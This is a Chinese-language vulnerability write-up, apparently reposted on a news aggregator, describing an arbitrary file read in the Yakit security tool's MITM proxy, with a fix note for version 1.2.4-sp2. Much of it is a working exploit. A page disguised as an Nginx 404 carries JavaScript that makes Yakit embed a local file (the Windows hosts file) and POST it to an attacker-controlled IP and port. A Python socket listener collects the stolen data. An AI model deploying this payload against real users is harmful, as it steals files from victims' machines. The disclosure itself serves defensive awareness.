x 广告
当前位置: 品牌 > > 正文

警惕中招!!yakit爆任意文件读取漏洞

2023-08-15 01:43:46 来源:博客园

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


【资料图】

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

0x01 漏洞介绍

Yakit是基于yak语言开发的网络安全单兵工具,旨在打造一个覆盖渗透测试全流程的网络安全工具库,是近年新兴的一个BurpSuite平替工具,和burp的区别就在于数据包放过去不用配置ip端口协议这些,近期yakit爆出了一个任意文件读取漏洞,此漏洞通过在网页嵌入js代码实现读取yakit使用者设备上的文件。

漏洞原理:yakit默认不会对经过MITM代理的流量中的fuzztag进行解析,但是经过插件时会被解析,所以这也是利用限制。

0x02 影响版本

引擎版本< Yaklang 1.2.4-sp2

0x03 漏洞复现

使用yakit的MITM代理并且启用任意插件

创建一个html页面并插入payload,此处复现使用python快速搭建一个简单的web服务。python -m http.server 8080

Payload:

    404 Not Found    

404 Not Found

Nginx

<script> const xhr = new XMLHttpRequest(); xhr.open("POST", "http://192.168.88.1:23800"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send(`file={{base64enc(file(C:\\Windows\\System32\\drivers\\etc\\hosts))}}`); </script>

监听脚本:

#! /bin/python3import socket# 监听地址和端口host = "0.0.0.0"port = 23800# 创建socket服务器server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)# 绑定并监听端口server.bind((host, port))server.listen()# 接收连接并监听请求print("Listening...")while True:    # 接收客户端连接请求    client, address = server.accept()    print(f"Connected by {address}")    # 读取客户端请求数据    request = ""    while True:        input_data = client.recv(1024).decode("utf-8")        request += input_data        if len(input_data) < 1024:            break    # 提取请求头部    headers = request.split("\n")    print("Received headers:")    for header in headers:        print(header)    # 关闭客户端连接    client.close()

启用MITM代理,不启用插件进行访问:

启用MITM代理并启用插件进行访问:

解码后获取数据内容

0x04 修复建议

目前最新1.2.4-sp2版本已进行修复,建议及时更新

关键词:

x 广告
x 广告

Copyright   2015-2022 亚洲直播网版权所有  备案号:京ICP备2021034106号-51   联系邮箱:5 516 538 @qq.com